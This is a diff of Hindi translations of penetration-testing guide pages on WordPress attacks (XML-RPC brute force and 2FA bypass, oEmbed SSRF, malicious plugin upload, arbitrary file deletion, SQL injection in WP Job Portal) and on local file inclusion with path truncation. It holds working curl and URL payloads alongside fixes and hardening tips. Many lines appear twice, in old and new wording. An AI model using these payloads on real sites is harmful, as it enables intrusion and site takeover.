एक और `/wp-json/` एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है:
एक और `/wp-json/` एंडपॉइंट जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है वह है:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
@ -107,7 +107,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### XML-RPC
यदि `xml-rpc.php` सक्रिय है, तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)।
यदि `xml-rpc.php` सक्रिय है तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)।
यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ तक पहुँचने का प्रयास करें और यह अनुरोध भेजें:
@ -132,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
संदेश _"Incorrect username or password"_ 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते।
संदेश _"Incorrect username or password"_ एक 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल मान्य नहीं होते।
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
@ -174,7 +174,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**2FA बायपास करें**
यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को नहीं कर पाएंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं, जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाा है।
यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec इसे [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाा है।
**DDoS या पोर्ट स्कैनिंग**
@ -193,7 +193,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
यदि आपको **faultCode** एक मान **greater** फिर **0** (17) मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
DDoS का कारण बनने के लिए इस विधि का दुरुपयोग करने के लिए पिछले अनुभाग में **`system.multicall`** के उपयोग पर एक नज़र डालें।
DDoS का कारण बनने के लिए इस विधि का दुरुपयोग कैसे कें, यह जानने के लिए पिछले अनुभाग में **`system.multicall`** के उपयोग पर एक नज़र डालें।
**DDoS**
```html
@ -210,16 +210,16 @@ DDoS का कारण बनने के लिए इस विधि क
### wp-cron.php DoS
यह फ़ाइल आमतौर पर Wordpress साइट की जड़ के तहत मौजूद होती है: **`/wp-cron.php`**\
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** की जाती है, इसलिए इसका उपयोग **हमलावरों** द्वारा **DoS** **कारण**रने के लिए किया जा सकता है।\
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** की जाती है, इसलिए इस **हमलावरों** द्वारा **DoS** **कारण** के लिए उपयोग किया जा सकता है।\
इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` हर पृष्ठ लोड पर (जब भी कोई क्लाइंट कोई Wordpress पृष्ठ अनुरोध करता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)।
Wp-Cron को निष्क्रिय करने और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनाने की सिफरिश की जाती है जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ उत्पन्न किए)
Wp-Cron को अक्षम करना और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनाना जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ पैदा किए) की सिफारिश की जाती है
### /wp-json/oembed/1.0/proxy - SSRF
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने का प्रयास करें और Worpress साइट आपसे अनुरोध कर सकती है।
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ पर पहुँचने की कोशिश करें और Worpress साइट आपसे अनुरोध कर सकती है।
यह प्रतिक्रिया है जब यह काम नहीं करता:
जब यह काम नहीं करता है तो यह प्रतिक्रिया है:
![](<../../images/image (365).png>)
@ -229,7 +229,7 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उनका शोषण करने का प्रयास करता है।
यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि यह मौजूद है, तो यह उन्हें शोषण करने की कोशिश करता है।
## Automatic Tools
```bash
@ -295,25 +295,25 @@ Proceed पर क्लिक करें:
### Uploading and activating malicious plugin
यह विधि एक दुर्बलता के लिए ज्ञात एक दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन को शामिल करती है और इसे वेब शेल प्राप्त करने के लिए शोषित किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है:
यह विधि एक दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन से संबंधित है जिसे कमजोर माना जाता है और जिसका उपयोग वेब शेल प्राप्त करने के लिए किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है:
1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहाँ**](https://www.exploit-db.com/exploits/36374)।
1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहां**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- WordPress डैशबोर्ड पर जाएं, फिर `Dashboard > Plugins > Upload Plugin` पर जाएं।
- डाउनलोड किए गए प्लगइन की zip फ़ाइल अपलोड करें।
- डाउनलोड किए गए प्लगइन की ज़िप फ़ाइल अपलोड करें।
3. **Plugin Activation**: एक बार प्लगइन सफलतापूर्वक स्थापित हो जाने के बाद, इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा।
4. **Exploitation**:
- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसे शोषित किया जा सकता है क्योंकि यह ज्ञात है कि यह दुर्बल है।
- Metasploit ढांचा इस दुर्बलता के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रीटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
- यह नोट किया गया है कि यह WordPress साइट को शोषित करने के कई तरीकों में से एक है।
- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसका शोषण किया जा सकता है क्योंकि यह कमजोर माना जाता है।
- Metasploit ढांचा इस कमजोरी के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रीटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
- यह नोट किया गया है कि यह WordPress साइट का शोषण करने के लिए कई तरीकों में से एक है।
सामग्री में प्लगइन को स्थापित और सक्रिय करने के लिए WordPress डैशबोर्ड में चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से दुर्बलताओं का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।
सामग्री में प्लगइन को स्थापित और सक्रिय करने के लिए WordPress डैशबोर्ड में चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से कमजोरियों का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।
**अधिक विस्तृत चरणों के लिए देखें:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जिसे **Cross-Site Scripting (XSS)** दुर्बलता को **Remote Code Execution (RCE)** या अन्य महत्वपूर्ण दुर्बलताओं में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जिसे **Cross-Site Scripting (XSS)** कमजोरी को **Remote Code Execution (RCE)** या अन्य महत्वपूर्ण कमजोरियों में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:**
- _**Privilege Escalation:**_ WordPress में एक उपयोगकर्ता बनाता है।
- _**(RCE) Custom Plugin (backdoor) Upload:**_ अपने कस्टम प्लगइन (बैकडोर) को WordPress में अपलोड करें।
- _**(RCE) Built-In Plugin Edit:**_ WordPress में एक अंतर्निहित प्लगइन को संपादित करें।
@ -348,11 +348,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**`nopriv` का उपयोग किसी भी उपयोगकर्ताओं (यहां तक कि अनधिकृत लोगों) द्वारा एंडपॉइंट को सुलभ बनाता है।**
> [!CAUTION]
> इसके अलावा, यदि फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन के साथ उपयोगकर्ता के प्राधिकरण की जांच कर रहा है, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है।
> इसके अलावा, यदि फ़ंक्शन केवल उपयोगकर्ता के प्राधिकरण की जांच कर रहा है `wp_verify_nonce` फ़ंक्शन के साथ, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है।
- **REST API**
यह `register_rest_route` फ़ंक्शन का उपयोग करके वर्डप्रेस से फ़ंक्शंस को उजागर करना भी संभव है:
यह `register_rest_route` फ़ंक्शन का उपयोग करके वर्डप्रेस से फ़ंक्श को उजागर करना भी संभव है:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -411,7 +411,7 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
क्योंकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त हैं। `wp-config.php` को हटाने से अगले दौरे पर WordPress *installation wizard* में चला जाता है, जिससे पूरी साइट पर कब्जा करना संभव हो जाता है (हमलावर केवल एक नया DB कॉन्फ़िगरेशन प्रदान करता है और एक व्यवस्थापक उपयोगकर्ता बनाता है)।
क्योंकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त हैं। `wp-config.php` को हटाने से अगले दौरे पर WordPress को *installation wizard* में मजबूर किया जाता है, जिससे पूरी साइट पर कब्जा करना संभव होता है (हमलावर केवल एक नया DB कॉन्फ़िगरेशन प्रदान करता है और एक व्यवस्थापक उपयोगकर्ता बनाता है)।
अन्य प्रभावशाली लक्ष्य में प्लगइन/थीम के `.php` फ़ाइलें (सुरक्षा प्लगइनों को तोड़ने के लिए) या `.htaccess` नियम शामिल हैं।
@ -442,13 +442,13 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
```
> [!TIP]
> **हमेशा** डिस्क पर किसी भी लिखने/हटाने के ऑपरेशन को विशेषाधिकार प्राप्त के रूप में मानें और दोबारा जांचें:
> • प्रमाणीकरण • प्राधिकरण • नॉनस • इनपुट सफाई • पथ सीमांकन (जैसे `realpath()` और `str_starts_with()` के माध्यम से)।
> • प्रमाणीकरण • अधिकृत करना • नॉनस • इनपुट सफाई • पथ सीमांकन (जैसे `realpath()` और `str_starts_with()` के माध्यम से)।
---
### पुरानी भूमिका पुनर्स्थापना और अनुपस्थित प्राधिकरण के माध्यम से विशेषाधिकार वृद्धि (ASE "View Admin as Role")
### पुरानी भूमिका पुनर्स्थापना और अनुपस्थित अधिकृत करने के माध्यम से विशेषाधिकार वृद्धि (ASE "View Admin as Role")
कई प्लगइन्स "view as role" या अस्थायी भूमिका-स्विचिंग फीचर को लागू करते हैं, जो उपयोगकर्ता मेटा में मूल भूमिका(ओं) को सहेजते हैं ताकि उन्हें बाद में पुनर्स्थापित किया जा सके। यदि पुनर्स्थापना पथ केवल अनुरोध पैरामीटर (जैसे, `$_REQUEST['reset-for']`) और एक प्लगइन-निर्ित सूची पर निर्भर करता है बिना क्षमताओं और एक मान्य नॉनस की जांच किए, तो यह एक ऊर्ध्वाधर विशेषाधिकार वृद्धि बन जाती है।
कई प्लगइन्स "भूमिका के रूप में देखें" या अस्थायी भूमिका-स्विचिंग फीचर को लागू करते हैं, जो उपयोगकर्ता मेटा में मूल भूमिका(ओं) को सहेजते हैं ताकि उन्हें बाद में पुनर्स्थापित किया जा सके। यदि पुनर्स्थापना पथ केवल अनुरोध पैरामीटर (जैसे, `$_REQUEST['reset-for']`) और एक प्लगइन-निर्धारित सूची पर निर्भर करता है बिना क्षमताओं और एक मान्य नॉनस की जांच किए, तो यह एक ऊर्ध्वाधर विशेषाधिकार वृद्धि बन जाती है।
एक वास्तविक दुनिया का उदाहरण Admin और Site Enhancements (ASE) प्लगइन (≤ 7.6.2.1) में पाया गया। रीसेट शाखा ने `reset-for=<username>` के आधार पर भूमिकाओं को पुनर्स्थापित किया यदि उपयोगकर्ता नाम एक आंतरिक सरणी `$options['viewing_admin_as_role_are']` में दिखाई दिया, लेकिन वर्तमान भूमिकाओं को हटाने और उपयोगकर्ता मेटा `_asenha_view_admin_as_original_roles` से सहेजी गई भूमिकाओं को फिर से जोड़ने से पहले न तो `current_user_can()` जांच की गई और न ही नॉनस सत्यापन किया गया:
```php
@ -467,14 +467,14 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
```
क्यों यह शोषणीय है
- `$_REQUEST['reset-for']` और एक प्लगइन विकल्प पर सर्वर-साइड प्राधिकरण के बिना भरोसा करता है।
- सर्वर-साइड प्राधिकरण के बिना `$_REQUEST['reset-for']` और एक प्लगइन विकल्प पर भरोसा करता है।
- यदि किसी उपयोगकर्ता के पास पहले `_asenha_view_admin_as_original_roles` में उच्च विशेषाधिकार सुरक्षित थे और उन्हें डाउनग्रेड किया गया, तो वे रीसेट पथ पर जाकर उन्हें पुनर्स्थापित कर सकते हैं।
- कुछ तैनातियों में, कोई भी प्रमाणित उपयोगकर्ता `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य उपयोगकर्ता नाम के लिए रीसेट को ट्रिगर कर सकता है (टूटी हुई प्राधिकरण)।
हमले की पूर्वापेक्षाएँ
- कमजोर प्लगइन संस्करण जिसमें यह सुविधा सक्षम है।
- लक्षित खाते में पहले के उपयोग से उपयोगकर्ता मेटा में एक पुरान उच्च-विशेषाधिकार भूमिका संग्रहीत है।
- लक्षित खाते में पहले के उपयोग से उपयोगकर्ता मेटा में एक पुरान उच्च-विशेषाधिकार भूमिका संग्रहीत है।
- कोई भी प्रमाणित सत्र; रीसेट प्रवाह पर नॉनस/क्षमता गायब है।
शोषण (उदाहरण)
@ -514,7 +514,7 @@ delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
### नियमित अपडेट
सुनिश्चित करें कि WordPress, प्लगइन्स और थीम अपडेटेड हैं। यह भी पुष्टि करें कि wp-config.php में स्वचालित अपडेट सक्षम है:
सुनिश्चित करें कि WordPress, प्लगइन्स और थीम अपडेट हैं। यह भी पुष्टि करें कि wp-config.php में स्वचालित अपडेट सक्षम है:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
@ -530,10 +530,10 @@ Also, **केवल विश्वसनीय WordPress प्लगइन्
### **अन्य सिफारिशें**
- डिफ़ॉल्ट **admin** उपयोगकर्ता को हटा दे
- डिफ़ॉल्ट **admin** उपयोगकर्ता को हटा
- **मजबूत पासवर्ड** और **2FA** का उपयोग करें
- समय-समय पर **समीक्षा** करें उपयोगकर्ताओं की **अनुमतिया**
- Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों** की सीमा निर्धारित करें
- समय-समय पर **उपयोगकर्ताओं** की **अनुमतियों** की **समीक्षा** करें
- Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों** की संख्या सीमित करें
- **`wp-admin.php`** फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ IP पते से पहुंच की अनुमति दें।
### अपर्याप्त सत्यापन के माध्यम से अनधिकृत SQL इंजेक्शन (WP Job Portal <= 2.3.2)
@ -552,11 +552,11 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
1. **असंसाधित उपयोगकर्ता इनपुट** `parentid` सीधे HTTP अनुरोध से आता है।
2. **WHERE क्लॉज के अंदर स्ट्रिंग संयोजन** कोई `is_numeric()` / `esc_sql()` / तैयार बयान नहीं है।
3. **अप्रमाणित पहुंच** हालांकि क्रिया `admin-post.php` के माध्यम से निष्पादित होती है, लेकिन केवल एक जांच मौजूद है, जो एक **CSRF nonce** (`wp_verify_nonce()`) है, जिसे कोई भी आगंतुक सार्वजनिक पृष्ठ से प्राप्त कर सकता है, जिसमें शॉर्टकोड `[wpjobportal_my_resumes]` शामिल है।
3. **अप्रमाणित पहुंच** हालांकि क्रिया `admin-post.php` के माध्यम से निष्पादित होती है, लेकिन केवल एक जांच मौजूद है, जो एक **CSRF नॉन्स** (`wp_verify_nonce()`) है, जिसे कोई भी आगंतुक सार्वजनिक पृष्ठ से प्राप्त कर सकता है, जिसमें शॉर्टकोड `[wpjobportal_my_resumes]` शामिल है।
#### शोषण
1. एक ताजा nonce प्राप्त करें:
1. एक ताजा नॉन्स प्राप्त करें:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
@ -572,7 +572,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
### अप्रमाणित मनमाना फ़ाइल डाउनलोड / पथ ट्रैवर्सल (WP Job Portal <= 2.3.2)
एक और कार्य, **downloadcustomfile**, आगंतुकों को पथ ट्रैवर्सल के माध्यम से **डिस्क पर कोई भी फ़ाइल** डाउनलोड करने की अनुमति देता था। कमजोर स्थान `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
एक और कार्य, **downloadcustomfile**, आगंतुकों को पथ ट्रैवर्सल के माध्यम से **डिस्क पर कोई भी फ़ाइल डाउनलोड** करने की अनुमति देता था। कमजोर स्थान `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
```php
$file = $path . '/' . $file_name;
...

View File

@ -25,10 +25,10 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
"/" को "\" में बदलने की कोशिश करें\
"../../../../../" जोड़ने की भी कोशिश करें
`/` को `\` में बदलने की कोशिश करें\
`../../../../../` जोड़ने की भी कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहाँ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) मिल सकती है
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहाँ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) मिल सकती है
### **Windows**
@ -38,10 +38,10 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
"/" को "\" में बदलने की कोशिश करें\
"C:/" को हटाने और "../../../../../" जोड़ने की भी कोशिश करें
`/` को `\` में बदलने की कोशिश करें\
`C:/` को हटाने और `../../../../../` जोड़ने की भी कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहाँ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) मिल सकती है
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहाँ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) मिल सकती है
### **OS X**
@ -49,7 +49,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
## Basic LFI and bypasses
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इन्हें दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)।
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इसे दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)।
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -90,7 +90,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **फोल्डर्स के लिए जांचें:** संदिग्ध फोल्डर का नाम (जैसे, `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएं। अतिरिक्त निर्देशिका स्तर की आवश्यकता होती है कि गहराई को एक से बढ़ाया जाए:
2. **फोल्डरों के लिए जांचें:** संदिग्ध फोल्डर का नाम (जैसे, `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएं। अतिरिक्त निर्देशिका स्तर की आवश्यकता होती है कि गहराई को एक से बढ़ाया जाए:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -99,21 +99,21 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
- **`/etc/passwd` की सामग्री:** `private` फ़ोल्डर की उपस्थिति की पुष्टि होती है।
4. **पुनरावृत्त अन्वेषण:** खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए आगे जांचा जा सकता है, उसी तकनीक या पारंपरिक लोकल फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में `private` निर्देशिका है (मान लेते हैं कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में `private` निर्देशिका है (मान लेते हुए कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **पथ ट्रंकशन तकनीक**
### **Path Truncation Technique**
पथ ट्रंकशन एक विधि है जिसका उपयोग वेब अनुप्रयोगों में फ़ाइल पथों को हेरफेर करने के लिए किया जाता है। इसका अक्सर उपयोग प्रतिबंधित फ़ाइलों तक पहुँचने के लिए किया जाता है, जिससे कुछ सुरक्षा उपायों को बायपास किया जा सके जो फ़ाइल पथों के अंत में अतिरिक्त वर्ण जोड़ते हैं। लक्ष्य यह है कि एक फ़ाइल पथ तैयार किया जाए जो, जब सुरक्षा उपाय द्वारा परिवर्तित किया जाए, तब भी इच्छित फ़ाइल की ओर इंगित करे।
Path truncation एक विधि है जिसका उपयोग वेब अनुप्रयोगों में फ़ाइल पथों को हेरफेर करने के लिए किया जाता है। इसका अक्सर उपयोग प्रतिबंधित फ़ाइलों तक पहुँचने के लिए किया जाता है, जिससे कुछ सुरक्षा उपायों को बायपास किया जा सके जो फ़ाइल पथों के अंत में अतिरिक्त वर्ण जोड़ते हैं। लक्ष्य यह है कि एक फ़ाइल पथ तैयार किया जाए जो, जब सुरक्षा उपाय द्वारा परिवर्तित किया जाए, तब भी इच्छित फ़ाइल की ओर इंगित करे।
PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व फ़ाइल प्रणाली की प्रकृति के कारण समान माने जा सकते हैं। उदाहरण के लिए:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, और `/etc/passwd/` सभी को एक ही पथ के रूप में माना जाता है।
- जब अंतिम 6 वर्ण `passwd` होते हैं, तो `/` जोड़ने (जिससे यह `passwd/` बनता है) से लक्षित फ़ाइल नहीं बदलती है।
- जब अंतिम 6 वर्ण `passwd` होते हैं, तो `/` जोड़ने (जिससे यह `passwd/` बनता है) से लक्षित फ़ाइल में कोई परिवर्तन नहीं होता है।
- इसी तरह, यदि `.php` को फ़ाइल पथ में जोड़ा जाता है (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से पहुँचाई जा रही फ़ाइल में कोई परिवर्तन नहीं होगा।
प्रदान किए गए उदाहरण यह दर्शाते हैं कि कैसे पथ ट्रंकशन का उपयोग करके `/etc/passwd` तक पहुँच प्राप्त की जा सकती है, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
प्रदान किए गए उदाहरण यह दर्शाते हैं कि `/etc/passwd` तक पहुँचने के लिए path truncation का उपयोग कैसे किया जाए, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -126,7 +126,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
इन परिदृश्यों में, आवश्यक ट्रैवर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर भिन्न हो सकती है।
